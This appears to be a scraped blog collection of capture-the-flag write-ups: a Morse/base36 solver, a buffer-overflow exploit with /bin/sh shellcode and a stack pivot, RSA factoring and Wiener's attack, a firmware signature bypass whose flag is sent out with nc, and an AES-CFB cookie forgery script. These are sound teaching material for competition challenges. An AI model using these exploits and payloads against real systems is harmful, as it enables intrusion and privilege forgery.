Initially I couldn’t determine the encoding of the messages, not until bo787 mentioned that it could be base36 that I realize it is base36-encoded.

Solution

Connecting to morset.pwning.xxx:11821 gives us:

1
2
→ nc morset.pwning.xxx 11821
-.... ----. --- . .... ...- ...-- ...- .---- - ...- -.- -.-. .- .- ---.. ..- .-- --. ....- .-. -... .. -.-- .-.. -. --. ---.. - . -- --.- ....- -... ---.. .- ----- .- ...-- .--- ..- -. .---- ...- -..- .--- .--. -..- .-.. ----. --.. -.-- ...-- --.. . ----. .-- - --.. ....- .-.. -.. -.-. ----- . ..- .. -.... .. - ...- .-- -. ----. -.. .---- -.- -. .---- .-. -.- .... -.- .--. -- ..- .... --.. ----- ....- --. ...- -. ----. ...- .. ..--- -. .--. .--- .... ....- -.-- ...- -..- -.... ..- .- --.- --... --..

I then use a simple python script to encode/decode the morse code, to give:

1
69OEHV3V1TVKCAA8UWG4RBIYLNG8TEMQ4B8A0A3JUN1VXJPXL9ZY3ZE9WTZ4LDC0EUI6ITVWN9D1KN1RKHKPMUHZ04GVN9VI2NPJH4YVX6UAQ7Z

This is encoded with base36 encoding, we can decode with python easily by using int(a,36) on it and then decoding with hex.

1
2
3
>>> a = '69OEHV3V1TVKCAA8UWG4RBIYLNG8TEMQ4B8A0A3JUN1VXJPXL9ZY3ZE9WTZ4LDC0EUI6ITVWN9D1KN1RKHKPMUHZ04GVN9VI2NPJH4YVX6UAQ7Z'
>>> ("0"+hex(int(a,36))[2:-1]).decode('hex')
"\n ,=|=.\n(XXXXX)\n |   |\n \\   /\n  `+'\nWhat is the SHA256(Acorn3548096305)?"

So we can see that the response we need to provide is the answer to SHA256(Acorn3548096305).

I wrote a python script to automate the entire process + encode the answer back to base36 + morse code before replying the service and getting the flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
import sys
from pwn import *
context(arch = 'i386', os = 'linux')

def base36encode(number):
    if not isinstance(number, (int, long)):
        raise TypeError('number must be an integer')
    if number < 0:
        raise ValueError('number must be positive')

    alphabet, base36 = ['0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ', '']

    while number:
        number, i = divmod(number, 36)
        base36 = alphabet[i] + base36

    return base36 or alphabet[0]


morseAlphabet ={'A': '.-',     'B': '-...',   'C': '-.-.', 
        'D': '-..',    'E': '.',      'F': '..-.',
        'G': '--.',    'H': '....',   'I': '..',
        'J': '.---',   'K': '-.-',    'L': '.-..',
        'M': '--',     'N': '-.',     'O': '---',
        'P': '.--.',   'Q': '--.-',   'R': '.-.',
        'S': '...',    'T': '-',      'U': '..-',
        'V': '...-',   'W': '.--',    'X': '-..-',
        'Y': '-.--',   'Z': '--..',
        
        '0': '-----',  '1': '.----',  '2': '..---',
        '3': '...--',  '4': '....-',  '5': '.....',
        '6': '-....',  '7': '--...',  '8': '---..',
        '9': '----.' 
        }
    

inverseMorseAlphabet=dict((v,k) for (k,v) in morseAlphabet.items())

# parse a morse code string positionInString is the starting point for decoding
def decodeMorse(code, positionInString = 0):
    
    if positionInString < len(code):
        morseLetter = ""
        for key,char in enumerate(code[positionInString:]):
            if char == " ":
                positionInString = key + positionInString + 1
                letter = inverseMorseAlphabet[morseLetter]
                return letter + decodeMorse(code, positionInString)
            
            else:
                morseLetter += char
    else:
        return ""
    
#encode a message in morse code, spaces between words are represented by '/'
def encodeToMorse(message):
    encodedMessage = ""
    for char in message[:]:
        encodedMessage += morseAlphabet[char.upper()] + " "
            
    return encodedMessage

r = remote('morset.pwning.xxx', 11821)
challenge = r.recvline();
challenge = challenge.strip()+" "
challenge = decodeMorse(challenge);
challenge = "0"+hex(int(challenge,36))[2:]
challenge = challenge.decode('hex')
print challenge
index = challenge.index('6(')
import hashlib
response = hashlib.sha256(challenge[index+2:-2]).digest().encode('hex')
response = base36encode(int(str(response).encode('hex'),16))
print "SENDING"
r.sendline(encodeToMorse(response))
print hex(int(decodeMorse(r.recvline().strip()+" "),36))[2:].decode('hex');

Running the script gives us the flag:

1
2
3
4
5
6
7
8
9
10
→ python Morset_getFlag.py
[+] Opening connection to morset.pwning.xxx on port 11821: Done

 ,).
((|))
 ``'
What is the SHA256(Pumpkin4202429674)?
SENDING
Nice! Here's a flag for you: PCTF{c0c0c0nutBaze_4__d4ys}.
[*] Closed connection to morset.pwning.xxx port 11821

And yay! we got the flag: PCTF{c0c0c0nutBaze_4__d4ys}.

Unfortunately I was busy with school and did not manage to play much or to solve other challenges.

Plaid CTF 2016 - Morset (Misc 50) was originally published by Yeo Quan Yang at Quan Yang on April 22, 2016.

X-CTF Quals 2016 - b0verfl0w (Pwn)

2016-04-21T17:03:15+00:00

X-CTF is a capture the flag competition in Singapore organized by NUS Greyhats. The online qualifiers took place over the weekend of 9 - 10 April 2016. Halfway through the competition, we realize that the challenges were solved pretty quickly by the participants, and thus I wrote some new challenges. The following two challenges were by me.

b0verfl0w

Category: Pwn
Description b0verfl0w is running at 188.166.226.181:4242.

Solution

So from the name of the challenge, this is an obvious buffer overflow challenge. However, obvious it would not be as simple as a classic buffer overflow. In this case, we’re given the binary without the source code, so first thing to do is to analyze the binary for the buffer overflow vulnerability, and to determine if there are any useful gadgets we can use to build an exploit.

We got a 32-bit ELF executable here.

1
2
3
4
5
6
7
8
9
10
11
12
→ file *
c343c76a9bc18021a2ebda77730d85e1: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, not stripped
→ ./boverflow

======================

Welcome to X-CTF 2016!

======================
What's your name?
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.Segmentation fault (core dumped)

The vulnerability is very obviously on the name input. There are many ways to continue from here, and what I am writing is just one of the way.

Using GDB with peda, I am able to quickly find the amount of offset required until the EIP register using the pattern search plugin.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
gdb-peda$ pattern create 100 /tmp/input
Writing pattern of 100 chars to filename "/tmp/input"
gdb-peda$ r < /tmp/input
Starting program: /home/vagrant/CTF/X-CTF/xctf-2016-challs/qualifiers/pwn/b0verfl0w/grader/b0verfl0w_dep/boverflow < /tmp/input

======================

Welcome to X-CTF 2016!

======================
What\'s your name?
Hello AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAb.
Program received signal SIGSEGV, Segmentation fault.
gdb-peda$ pattern search
Registers contain pattern buffer:
EBP+0 found at offset: 32
EIP+0 found at offset: 36

So what this tells me is that I’ll have to fill the first 36 bytes of input with junk before filling the 4 bytes with the memory address I’d like the program to jump to.

In a classical buffer overflow, what I’d do is to fill the 36 bytes with shellcode, and then modify the EIP value to jump to where my shellcode is located. However, this is only feasible if (1) I know the memory address of the shellcode, (2) DEP is not enabled and (3) if ASLR was not enabled, it’d be slightly easier to bruteforce the memory address of the shellcode.

In this case, DEP is disabled. However, we do not have any information of the memory layout or the libc addresses (which would allows us to craft a return-to-libc or ROP exploit).

However, upon closer inspection, you will notice that there are some ROP gadgets provided in the binary that could allow us to perform stack pivoting and thus execute our shellcode. Conveniently it’s contained in a function called hint ;).

1
2
3
4
5
6
7
8
9
10
80484fd <hint>:
 80484fd:   55                      push   %ebp
 80484fe:   89 e5                   mov    %esp,%ebp
 8048500:   83 ec 24                sub    $0x24,%esp
 8048503:   c3                      ret
 8048504:   ff e4                   jmp    *%esp
 8048506:   c3                      ret
 8048507:   b8 01 00 00 00          mov    $0x1,%eax
 804850c:   5d                      pop    %ebp
 804850d:   c3                      ret

We see a jmp $esp followed by a ret instruction that would allow us to perform a stack pivot.

At the point when the program jumps to 0x08048504, $esp would be pointing at the start of Shellcode to perform stack pivoting, so what is needed here to do a stack pivot is sub 0x28,$esp followed by jmp $esp again. However, you need to convert the instructions into their respective hex representation. We perform a sub 0x28 because the shellcode + payload + 0x08048504 takes up 40 bytes and we want the next jmp $esp to jump to the start of our shellcode.

For the shellcode portion, you can use any simple shellcode off the internet.

I wrote the exploit in python and used the pwntools library to simplify the entire exploitation process.
Final exploit:

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

r = remote('188.166.226.181', 4242)
Shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
Payload = "A"*13
JmpESPGadget = "\x04\x85\x04\x08"
ShellcodeStackPivot = "\x83\xec\x28\xff\xe4"
payload = Shellcode + Payload + JmpESPGadget + ShellcodeStackPivot
print payload
r.send(payload)
r.interactive()

Running our exploit provides us with a shell. :)

1
2
$ cat flag.txt
XCTF{b0verfl0wed_w3ll_d0ne}

And we have our flag!

X-CTF Quals 2016 - b0verfl0w (Pwn) was originally published by Yeo Quan Yang at Quan Yang on April 21, 2016.

X-CTF Quals 2016 - Fact0r!z3 and Fact0r!z3_aga!n (Crypto)

2016-04-21T10:47:25+00:00

Fact0r!z3

Category: Crypto
Description Can you decrypt this?
Encrypted.zip.

Solution

This is a simple challenge, I made this as a prequel to the next challenge. The solution is to factorize the modulus value of the RSA public key, allowing you to calculate the decryption key.

After downloading the file, uncompress the archive file.

1
2
3
→ tar zxvf 4b5978caa2cef859f97d0443ada4db40
x 8987609732e4da707a5d7563bd619f53
x flag.enc

It’s quite obvious that we’re suppose to decrypt flag.enc in order to obtain the flag.

Using OpenSSL, we can obtain the content of the public key.

1
2
3
4
5
6
7
8
9
10
11
12
→ openssl rsa -text -pubin -in 8987609732e4da707a5d7563bd619f53
Modulus (447 bit):
    48:e8:f0:19:5d:8c:7b:0a:f1:4b:7f:ae:1b:d9:f8:
    e4:08:77:44:8e:66:44:e9:f5:83:cd:76:57:d2:36:
    5c:7f:83:51:99:08:e1:1f:6e:41:35:bb:f7:6a:76:
    b9:80:cc:d1:e6:99:43:dd:39:f5:3d
Exponent: 65537 (0x10001)
writing RSA key
-----BEGIN PUBLIC KEY-----
MFMwDQYJKoZIhvcNAQEBBQADQgAwPwI4SOjwGV2MewrxS3+uG9n45Ah3RI5mROn1
g812V9I2XH+DUZkI4R9uQTW792p2uYDM0eaZQ9059T0CAwEAAQ==
-----END PUBLIC KEY-----

Using some python kungfu, we can obtain the Integer value of the Modulus to give : 207006830488235668671955689390815624796833363161842587562758966652474780634716637447867252305688653008916026906416134119860202636965181

Throw this into factordb.com, and we can see that this modulus value is easily factorized.

1
2
p = 3133337  
q = 66065932419090467661779020064172996647610315507665657272983712461339070975996720891454462863614304177595970974847625429329881413

Using RSAtool.py, we can reconstruct the private key file, allowing us to decrypt flag.enc.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
→ python ~/CTF/tools/rsatool.py -p 3133337 -q 66065932419090467661779020064172996647610315507665657272983712461339070975996720891454462863614304177595970974847625429329881413 -e 65537 -o key.pem
Using (p, q) to initialise RSA instance

n =
48e8f0195d8c7b0af14b7fae1bd9f8e40877448e6644e9f583cd7657d2365c7f83519908e11f6e41
35bbf76a76b980ccd1e69943dd39f53d

e = 65537 (0x10001)

d =
d94d65c2a8045044cdf2ffaeb5ad759f5bf0b8584bb61f3bd878aa47267f99994b86491e0a427c57
2f77adc1ad492131dc6db513b3b221

p = 3133337 (0x2fcf99)

q =
18663ff92c4c79e1a244f109ad859cecfb34d162303f3f6e525e411dfa723a7a18af3732239f058b
2e524d819a28c3d4e9c4d83a945

Saving PEM as key.pem

→ openssl rsautl -decrypt -inkey key.pem -in flag.enc
XCTF{S33MZ_L!K3_Y0U_fact0r!zed_!T}

And we got the flag for the first part! XCTF{S33MZ_L!K3_Y0U_fact0r!zed_!T}

Fact0r!z3_aga!n

Category: Crypto
Description Can you decrypt it this time? A litle bird told me that if the d value is small, it would be possible.
Encrypted.zip.

This is the sequel to the previous challenge and as the sequel, it is considered more difficult. Likewise like the previous challenge, the objective of this challenge is to factorize the modulus value of the public key in order to reconstruct the private key.

There’s an additional hint provided here as well. A litle bird told me that if the d value is small, it would be possible.
This was hinting that the d value is small, and that certain RSA attack would work as the d value is smaller. In this case Wiener’s attack was possible as $d<\frac{1}{3}n^\frac{1}{4}$.

Following the same steps as the previous challenge, we first obtain the modulus and e values of the public key.

1
2
n = 1358016654793718168576890372704045370292566693250198337571997713911873446535830350906288566272075747587625218927182158794773627266352290009114996887264885273166024519614459408235461543052969897056498639245852139107189600240612291331078593266375574088348938551792344519865321083218447570464200135681789040698448141245180753009200026942273771102971607691513134494634442001453402739091058614558399864407649009999241938404547068622618622996222788477239323058919028619017187860542797806083989245206963757505047738707660921123080733896257510371124808120528550409099172252647694465039601292947708319054049548469524371745309
e = 413646193299856964297595873583269391991677525082759838946971228433489444661147754904876781963643387300426778756247641221869815165656651791063782778832692165650632062745207006311718667769564624561939249776482558452967527416265195742164181060801895639268069202268063010541397525052398620760929202045239384126147631668142034495992456907185667803259903606787633599324685858845766860959168442908303044304319398713375708066833636555483932272992603871307617206789452044701736784287470883649969255328595694298117591936909898261849426261801035861462685108401288571621011309064307726074190651265291411002869221079175064335651

Googling around leads to a python script for the Wiener’s attack on a popular CTF team’s blog BalalaikaCr3w.

Running the script with the n and e value quickly provides us with the corresponding p and q values needed to reconstruct the private key.

1
2
3
4
→ python ~/CTF/tools/wiener_attack.py -n 1358016654793718168576890372704045370292566693250198337571997713911873446535830350906288566272075747587625218927182158794773627266352290009114996887264885273166024519614459408235461543052969897056498639245852139107189600240612291331078593266375574088348938551792344519865321083218447570464200135681789040698448141245180753009200026942273771102971607691513134494634442001453402739091058614558399864407649009999241938404547068622618622996222788477239323058919028619017187860542797806083989245206963757505047738707660921123080733896257510371124808120528550409099172252647694465039601292947708319054049548469524371745309 -e 413646193299856964297595873583269391991677525082759838946971228433489444661147754904876781963643387300426778756247641221869815165656651791063782778832692165650632062745207006311718667769564624561939249776482558452967527416265195742164181060801895639268069202268063010541397525052398620760929202045239384126147631668142034495992456907185667803259903606787633599324685858845766860959168442908303044304319398713375708066833636555483932272992603871307617206789452044701736784287470883649969255328595694298117591936909898261849426261801035861462685108401288571621011309064307726074190651265291411002869221079175064335651
-p 9137680666764853583548316438998008915285472636091785739594127466571221684684134296951534109078917008184054665081257177231154376919717493617815741914917972113486254132700066127081792088268751347553413815661030111443066402165891910883462831658451778251528180641983181467545471181983140196700930933918047320399
-q 148617215277946085196952504917545900921947201835121992590926549203285830240287840326685954338945019561925743147029298144273188382321071868867244770321808853004675177550018714209360479392000010200481086783373136532647862377216579620653192958581411929955913661912527040227235183587391150737375290030745978811091
-e 413646193299856964297595873583269391991677525082759838946971228433489444661147754904876781963643387300426778756247641221869815165656651791063782778832692165650632062745207006311718667769564624561939249776482558452967527416265195742164181060801895639268069202268063010541397525052398620760929202045239384126147631668142034495992456907185667803259903606787633599324685858845766860959168442908303044304319398713375708066833636555483932272992603871307617206789452044701736784287470883649969255328595694298117591936909898261849426261801035861462685108401288571621011309064307726074190651265291411002869221079175064335651

The following parts are done similar to the previous challenge.

1
2
→ openssl rsautl -decrypt -inkey key.pem -in flag.enc
XCTF{I_LIKE_SAUSAG3S_D0_Y0U}

And we got the flag for the second part! XCTF{I_LIKE_SAUSAG3S_D0_Y0U}

Hope you enjoyed the challenge, I’ll be writing the write up for b0verfl0w soon.

X-CTF Quals 2016 - Fact0r!z3 and Fact0r!z3_aga!n (Crypto) was originally published by Yeo Quan Yang at Quan Yang on April 21, 2016.

32C3 CTF - Flash (Reversing 300)

2015-12-31T00:00:00+00:00

32C3 CTF was organized along with the Chaos Communication Congress in Hamburg, it started on Dec. 27, 20:00 UTC and lasted 48h until Dec. 29, 20:00 UTC.

Flash

Points: 300
Category: Reversing
Description This firmware image is secured against manipulation using RSA and MD5. Can you still get around that protection?
The service is available here.

Our solution

We’re given a gzip compressed file, which includes a sample firmware, the public key and the firmware uploading service backend script.

Running file on the firmware.bin shows that it is an archive. The signature file contained in it seems to be a digital signature that is used to ensure the authenticity of the firmware.

1
2
3
4
5
6
7
8
9
$ file firmware.bin
firmware.bin: POSIX tar archive (GNU)
$ tar vxf firmware.bin
x ./CHANGELOG
x ./firmware.img
x ./install
x ./LICENSE
x ./README
x signature

We now take a look at the uploading service.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
#!/usr/bin/env python2
import cgi
import cgitb; cgitb.enable()
import os, sys
import subprocess
import re
from Crypto.Signature import PKCS1_v1_5
from Crypto.PublicKey import RSA
from Crypto.Hash import MD5
from IPython import embed

class MD5_32C3:
  oid = MD5.new().oid
  def __init__(self, digest):
    self._digest_data = digest
  def digest(self):
    return self._digest_data

UPLOAD_DIR = "/tmp"

HTML_FORM_TEMPLATE = """
**truncated**
<form action="" method="POST" enctype="multipart/form-data">
File: <input name="file" type="file"><br>
<input name="submit" type="submit" value="upload!">
</form>
</body>
</html>"""

HTML_STATUS_TEMPLATE = """
**truncated**
<h1>Firmware Update Status</h1>
%(status)s
</body>
</html>"""

def print_html_form():
    print "content-type: text/html\n"
    print HTML_FORM_TEMPLATE

def print_html_status(status):
    print "content-type: text/html\n"
    print HTML_STATUS_TEMPLATE % {'status': status}

def save_firmware_image():
    form = cgi.FieldStorage()
    if int(os.environ['CONTENT_LENGTH']) > 2**22:
      return False
    if not form.has_key('file'):
      return False
    fileitem = form['file']
    if not fileitem.file:
      return False

    filename = os.urandom(32).encode("hex")
    filename = os.path.join(UPLOAD_DIR, filename)

    fout = file(filename + '.bin', 'wb')
    while 1:
      chunk = fileitem.file.read(100000)
      if not chunk: break
      fout.write(chunk)
    fout.close()
    return filename

def calc_md5(filename):
    cmd = 'mkdir ' + filename + '; cd ' + filename + '; md5calc < ' + filename + '.bin | tar xv'
    result = subprocess.Popen(cmd, shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE).communicate()[1]
    return re.search('[a-f0-9]{32}', result).group(0).decode('hex')

def verify_sig(filename, expected_md5):
    try:
      signature = open(filename + '/signature').read()
    except:
      return False,'No signature found!'
    try:
      pubkey = RSA.importKey(open('../rsa2048pub.pem').read())
    except:
      return False,'No pubkey found!'
    expected_md5 = MD5_32C3(expected_md5)
    verifier = PKCS1_v1_5.new(pubkey)
    return verifier.verify(expected_md5, signature),None

if os.environ['REQUEST_METHOD'] == 'GET':
    print_html_form()

if os.environ['REQUEST_METHOD'] == 'POST':
    filename = save_firmware_image()
    if not filename:
      print_html_status('Invalid data received!')
      sys.exit(0)
    md5 = calc_md5(filename)
    status,msg = verify_sig(filename, md5)
    if status:
      msg = 'Signature check successul! Updating firmware... <br>'
      cmd = 'cd ' + filename + '; ./install'
      result = subprocess.Popen(cmd, shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE).communicate()[1]
      msg = msg + result + '<br>done.'
    if not status and not msg:
      msg = 'Signature check failed!'
    print_html_status(msg)

From the python script, we can tell that the verification process is as follows: encrypt(md5(firmware.bin),public_key) == signature

The other interesting finding is the command cmd = 'cd ' + filename + '; ./install'. This tells us that we’ll have to modify the file install to run arbitrary code in order to get the flag.

Simply modifying the firmware will not work, we need to find a way to bypass the signature check. As it is a reversing challenge, and that the RSA key is 2048-bits, I did not attempt to go towards the cryptography direction. Instead, what is interesting is the calc_md5 function.

1
2
3
4
def calc_md5(filename):
    cmd = 'mkdir ' + filename + '; cd ' + filename + '; md5calc < ' + filename + '.bin | tar xv'
    result = subprocess.Popen(cmd, shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE).communicate()[1]
    return re.search('[a-f0-9]{32}', result).group(0).decode('hex')

The function uses regular expression to obtain the MD5 from the output of the subprocess command, and what is interesting is that it takes the first occurance of a 32-characters a-f0-9 string as the MD5 hash (due to re.search().group(0)).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ ./md5calc < firmware.bin | tar xv
name: ./CHANGELOG, size: 1812
name: ./firmware.img, size: 1048576
./CHANGELOG
./firmware.img
name: ./install, size: 44
name: ./LICENSE, size: 576
name: ./README, size: 930
name: signature, size: 256
nb override: 512
nb override: 512
md5: a0e3c9c3262ccf420c789ed55148412c
./install
./LICENSE
./README
signature

We see that if the firmware archive contains a file with the name of a0e3c9c3262ccf420c789ed55148412c, the calc_md5 will take that as the md5 hash instead of the actual md5 hash.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$ ls -la firmware3
total 4152
drwxr-xr-x 1 vagrant vagrant     374 Dec 31  2015 .
drwx------ 1 vagrant vagrant     714 Dec 31 10:56 ..
-rw-r--r-- 1 vagrant vagrant    6148 Dec 29 13:48 .DS_Store
-rw-r--r-- 1 vagrant vagrant 1055232 Dec 29 13:48 CHANGELOG
-rw-r--r-- 1 vagrant vagrant     576 Dec 26 22:37 LICENSE
-rw-r--r-- 1 vagrant vagrant     930 Dec 26 22:37 a0e3c9c3262ccf420c789ed55148412c
-rw-r--r-- 1 vagrant vagrant 1048576 Dec 26 22:37 firmware.img
-rw-r--r-- 1 vagrant vagrant 2114048 Dec 29 13:53 firmware3.bin
-rwxr-xr-x 1 vagrant vagrant      48 Dec 29 13:45 install
-rw-r--r-- 1 vagrant vagrant    2278 Dec 29 13:51 out.txt
-rw-r--r-- 1 vagrant vagrant     256 Dec 29 13:28 signature

$ python test.py firmware3
name: CHANGELOG, size: 1055232
name: LICENSE, size: 576
name: a0e3c9c3262ccf420c789ed55148412c, size: 930
name: firmware.img, size: 1048576
name: install, size: 48
name: signature, size: 256
nb override: 512
nb override: 512
md5: 8de5e3801c7758ba5e632b7c84533e8b

a0e3c9c3262ccf420c789ed55148412c
Signature check successul! Updating firmware... <br><br>done.

With that, we can make use of multiple ways to obtain the flag located at /home/challenge/flag.txt. For me, I made use of nc to send the flag back.

Hurray!

32C3 CTF - Flash (Reversing 300) was originally published by Yeo Quan Yang at Quan Yang on December 31, 2015.

HITCON CTF Quals 2015 - Simple (Crypto 100)

2015-10-19T00:00:00+00:00

HITCON CTF Quals 2015 CTFTIME Page. Most of the challenges were very tedious, and this is one of the challenges that we solved (Although we only managed to solve this after the CTF ended).

Simple

Points: 100
Category: Cryptography
Description Become admin!
http://52.69.244.164:51913
simple-01018f60e497b8180d6c92237e2b3a67.rb
md5: 4bd00c892d5e71f6d1d25d0bff2f49ec

Our solution

Given the source code of the website, we’re told to get admin. Looking at the source code provided, to be able to print the flag out, we have to get the conditon r[‘admin’] to be equal to true.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#!/usr/bin/env ruby

require 'sinatra/base'
require 'sinatra/cookies'
require 'openssl'
require 'json'

KEY = IO.binread('super-secret-key')
FLAG = IO.read('/home/simple/flag').strip

class SimpleApp < Sinatra::Base
  helpers Sinatra::Cookies

  get '/' do
    auth = cookies[:auth]
    if auth
      begin
        auth = auth.b
        c = OpenSSL::Cipher.new('AES-128-CFB')
        c.decrypt
        c.key = KEY
        c.iv = auth[0...16]
        json = c.update(auth[16..-1]) + c.final
        r = JSON.parse(json)
        if r['admin'] == true
          "You're admin! The flag is #{FLAG}"
        else
          "Hi #{r['username']}, try to get admin?"
        end
      rescue StandardError
        'Something wrong QQ'
      end
    else
      <<-EOS
<html><body><form action='/' method='POST'>
<input type='text' name='username'/>
<input type='password' name='password'/>
<button type='submit'>register!</button>
</form></body></html>
      EOS
    end
  end

  post '/' do
    username = params['username']
    password = params['password']
    if username && password
      data = {
        username: username,
        password: password,
        db: 'hitcon-ctf'
      }
      c = OpenSSL::Cipher.new('AES-128-CFB')
      c.encrypt
      c.key = KEY
      iv = c.random_iv
      json = JSON.dump(data)
      enc = c.update(json) + c.final
      cookies[:auth] = iv + enc
      redirect to('/')
    else
      'Invalid input!'
    end
  end
end

It seems that the IV used as well as the encrypted json is kept in the client’s cookie, and that the same cookie is used to determine if you’re an admin. (This indicates that if we can spoof the encrypted json, we can become admin)

AES-128 in CFB mode has a block size of 16 bytes.
Simply put,
Ciphertext of block #1 = E(IV, key) ^ Plaintext

Therefore, with knowledge of plaintext and ciphertext, we are able to obtain E(IV, key) and to forge for the first block of cipher text.

With a username and password of b, the Plaintext of the first block will be
{"username":"b",
and we’ll use that knowledge to obtain our E(IV, key)

This is our exploit script that forges our first block to be: {"admin": true }
and allows us to obtain our flag!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import requests
import urllib

def main():

    original_cookie = "\xE9a\x89\xEC\xC7\x7C\xBC\x15\x92\xAD\xF8\x17\xF8\x40" \
                      "wV\xAB524\xF2\xF5UA\xE8\x1A\x29\xD4\xCB\xFA\xF6\xB3" \
                      "\x95h\x2B\x0D\xF4\xB9\xC8\xDB\xF8n\xB9o\xBES\x11d\xA3" \
                      "9\xA3c\x3Fi\xE7\xFA\x1C\xD0\xDBk\xDD\xD2_6\x06"

    original_cookie = original_cookie.encode('hex')
    iv = original_cookie[0:32]
    first_16_byte_block = original_cookie[32:64]
    print "IV: %s" % iv
    print "First Block: %s" % first_16_byte_block

    #Plain text of first 16 byte block.
    plaintext ='{"username":"b",'

    encrypted_iv = int(plaintext.encode('hex'),16) ^ int(first_16_byte_block,16)
    encrypted_iv = hex(encrypted_iv)[2:-1]
    print "Encrypted IV: %s" % encrypted_iv

    #The text I want to forge in the first block.
    forge_text = '{"admin": true }'

    print 'Encrypting payload...'

    payload = int(forge_text.encode('hex'),16) ^ int(encrypted_iv,16)
    payload = hex(payload)[2:-1]
    payload = iv + payload
    print "PAYLOAD: %s" % payload

    cookie = {"auth": payload.decode("hex")}
    r = requests.get("http://52.69.244.164:51913/", cookies=cookie)
    print "Flag: %s" % r.text

if __name__ == "__main__":
    main()

Running the script gives us:

And we have our flag: hitcon{WoW_CFB_m0dE_5o_eAsY}

HITCON CTF Quals 2015 - Simple (Crypto 100) was originally published by Yeo Quan Yang at Quan Yang on October 19, 2015.

Quan Yang

STACK the flags 2020 CTF - Final Countdown

Final Countdown

ion-parser library

Achieving Remote Code Execution

Getting the flag

STACK the flags 2020 CTF - Ransom Me This

Ransom Me This

The first step is to try to observe the behavior each feature exhibits

Hypothesis

Exploit

STACK the flags 2020 CTF - You Shall Not Pass

Unlock Me

The first step is to try to observe the behavior each feature exhibits

Hypothesis

Exploitation

Recap

H1-702 CTF 2017 - Write Ups

Table of Contents

Android Write ups

Level 1

Level 2

Level 3

Level 4

Level 5

Level 6

iOS Write ups

Level 1

Level 2

Level 3

Level 4

Level 5

Level 6

Extra information

Special thanks to the hackerone team for the awesome challenges!

Part 1 - Continuous Pwning of the Top 1000 WordPress Plugins

Introduction

Automatically Download the top 1000 WordPress plugins

Continuous Pwning

Case Study: SSRF in Nelio AB Testing WordPress Plugin

Conclusion

CSAW CTF Quals 2016 - deedeedee

CSAW CTF Quals 2016 - deedeedee

Analysis

Tokyo Westerns CTF 2nd 2016 - Reverse Box

Tokyo Westerns / MMA CTF 2nd 2016 - Reverse Box

Solution

SECUINSIDE CTF Quals 2016 - Trendyweb

SECUINSIDE CTF Quals 2016 - Trendyweb

Other ways

Method #1

Method #2

X-CTF Finals 2016 - John Slick (Web 25)

JohnSlick

X-CTF Finals 2016 - John Sick (Web 20)

JohnSick

X-CTF Finals 2016 - John Wick (Web 15)

JohnWick

ALICTF 2016 - ColorOverflow (Reversing 100)

ALICTF 2016 - ColorOverflow

ALICTF 2016 - LoopAndLoop (Reversing 100)

ALICTF 2016 - LoopAndLoop

The ABCs of XSS

Persistent XSS

Reflected XSS

DOM-based XSS

1. Partial domain:

2. Partial path:

3. Partial query:

Miscellaneous

AngularJS XSS

XSS Auditor

Sandboxed domains

SVG elements

Content Security Policy

Conclusion

Defense of the Applications.

Cross-Site Scripting

Take-away from XSS

SQL Injection